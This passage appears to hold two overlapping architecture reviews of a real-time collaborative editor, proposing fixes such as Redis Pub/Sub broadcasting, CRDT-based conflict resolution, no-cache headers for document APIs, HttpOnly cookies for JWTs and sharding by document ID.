• Trade-off: If Redis crashes before flushing to Postgres, a few seconds of data might be lost (acceptable tradeoff for performance in most editors).

---

5. Caching & CDN

Failure Mode: CDN Caching API Responses "CloudFront ... caches API responses for 5 minutes."

• Critical Failure: If a user loads a document, CloudFront might serve a version from 4 minutes ago. The user edits this stale version. When they reconnect via WebSocket, their state is completely out of sync with the real-time server, causing massive merge conflicts or data corruption.

Solution: No-Cache Headers for Dynamic Data

• Mechanism: API endpoints returning document state must send Cache-Control: no-store, no-cache, must-revalidate. CloudFront should only cache static assets (JS, CSS, Images).
• Trade-off: Higher load on the origin server for initial document loads (mitigated by the Redis layer proposed in #4).

---

6. Security

Failure Mode: JWT in LocalStorage

• Vulnerability: Storing JWTs in localStorage makes them accessible to any JavaScript running on the page. If the app has a single XSS vulnerability (common in rich text editors handling HTML), an attacker can steal the token and impersonate the user.

Solution: HttpOnly Cookies

• Mechanism: Store the JWT in an HttpOnly; Secure; SameSite=Strict cookie. The browser handles sending it; JS cannot read it.
• Trade-off: Requires CSRF protection mechanisms (though SameSite cookies largely handle this now).

---

7. Scaling Strategy

Failure Mode: Partitioning by Org ID

• Bottleneck: Data skew / Hot partitions. If you land a client like "Walmart" (Org ID 1) and they have 50,000 users, and your other partition has "Mom & Pop Shop" (Org ID 2), Partition 1 will crash while Partition 2 sits idle.

Solution: Sharding by Document ID

• Mechanism: Distribute data based on hash(DocumentID). This ensures an even distribution of load regardless of the organization size.
• Trade-off: Queries that require "All documents for Org ID 1" become more expensive (scatter-gather query), but this is a read-heavy operation that can be handled by read replicas or a search index (Elasticsearch), ensuring the write-path remains performant.

Summary of Revised Architecture

1. Frontend: React + Yjs/CRDTs over WebSockets.
2. Load Balancer: Consistent Hashing based on DocID (try to group users of the same doc).
3. Backend: Node.js servers connected via Redis Pub/Sub to broadcast updates between nodes.
4. Persistence:
   • Redis: Acts as the "source of truth" for active documents (Write-Behind cache).
   • Postgres: Long-term storage. Workers flush data from Redis $\to$ Postgres asynchronously.
5. Conflict Resolution: Mathematical merging via CRDTs (no timestamps involved).
6. Security: HttpOnly Cookies.
7. Caching: CDN for assets only; API responses never cached.

This architecture contains several critical flaws that would lead to data loss, inconsistent state, and poor user experience in a real-time environment.

---

1. The "Split-Brain" Broadcast Problem

Issue: The architecture only broadcasts changes to clients connected to the same server. Because connections are distributed across multiple servers, users on Server A will never see edits made by users on Server B in real-time. Solution: Implement a Pub/Sub mechanism (using Redis Pub/Sub). When a server receives an update, it publishes the change to a Redis channel. Every API server subscribes to this channel and broadcasts the update to all its connected clients.

• Trade-off: Adds latency to the broadcast loop and increases Redis memory usage.

2. Clock Skew and "Last-Write-Wins" (LWW)

Issue: Relying on client-side timestamps for conflict resolution is dangerous. Client clocks drift; a user with a "future" clock will consistently overwrite everyone else's work. Furthermore, LWW at the paragraph level results in "lost updates" (e.g., if User A adds a word and User B adds a word to the same paragraph, one user's edit is deleted entirely). Solution: Move to Operational Transformation (OT) or Conflict-free Replicated Data Types (CRDTs). Use a logical clock (Lamport timestamp) or a central sequencer at the server level to order operations.

• Trade-off: CRDTs/OT are significantly more complex to implement than LWW.

3. Database Bottleneck & Race Conditions

Issue: Polling PostgreSQL every 2 seconds is inefficient and creates a "thundering herd" problem as the user base grows. Additionally, the standard "write to DB" flow on every keystroke will kill PostgreSQL performance under load. Solution:

1. Write Buffering: Use Redis to buffer document changes in memory. Flush updates to PostgreSQL asynchronously (e.g., every 5 seconds or when the document is closed).
2. Change Data Capture (CDC): Replace polling with a tool like Debezium to stream database changes to the application servers.

• Trade-off: Increases risk of data loss if the server crashes before the buffer is flushed (mitigate with a write-ahead log/AOF in Redis).

4. CDN Caching of API Responses

Issue: Caching API responses for 5 minutes via CloudFront is catastrophic for a collaborative editor. Users will see "stale" document states for up to 5 minutes, effectively breaking real-time collaboration. Solution: Disable CDN caching for WebSocket-related API endpoints or any document-fetching route. Use Cache-Control headers (no-store, no-cache) for dynamic document data.

• Trade-off: Puts higher load on the backend servers since they must serve every request.

5. Security & Auth Vulnerabilities

Issue: Storing JWTs in localStorage makes the application vulnerable to Cross-Site Scripting (XSS) attacks, where a malicious script can steal the token. 24-hour expiry without a refresh mechanism forces a hard logout, disrupting work. Solution: Store JWTs in HttpOnly, Secure, SameSite=Strict cookies. Implement a Refresh Token rotation strategy.

• Trade-off: Requires protection against Cross-Site Request Forgery (CSRF).

6. Storage Strategy (Snapshots)

Issue: Saving full HTML snapshots every 30 seconds is inefficient for long documents and creates a "gap" where the last 29 seconds of work could be lost if the server crashes. Solution: Store the Operation Log (the sequence of edits) as the source of truth. Take snapshots only as an optimization to speed up document loading (e.g., once every 100 edits).

• Trade-off: Replaying a long log of operations can be slow; requires periodic "compaction" of the log.

7. Load Balancer & WebSocket Affinity

Issue: Round-robin load balancing is fine for REST, but WebSockets are long-lived. If the load balancer kills a connection during a rolling deployment, the user loses their collaborative state. Solution: Implement "Graceful Shutdown" in the Node.js servers, allowing existing WebSocket connections to drain before the server process exits. Use sticky sessions if the architecture requires it, though a well-implemented Pub/Sub model makes this less critical.

• Trade-off: Increases complexity of deployment pipelines.

---

Summary of Recommended Architecture Changes

Feature	Current State	Proposed State
Sync	LWW (Client Timestamps)	CRDTs / OT (Logical Sequencing)
Broadcast	Local Server Only	Redis Pub/Sub
DB Sync	Polling every 2s	Asynchronous buffering + CDC
Caching	5-min CDN Cache	No caching for dynamic data
Auth	LocalStorage	HttpOnly Cookies + Refresh Tokens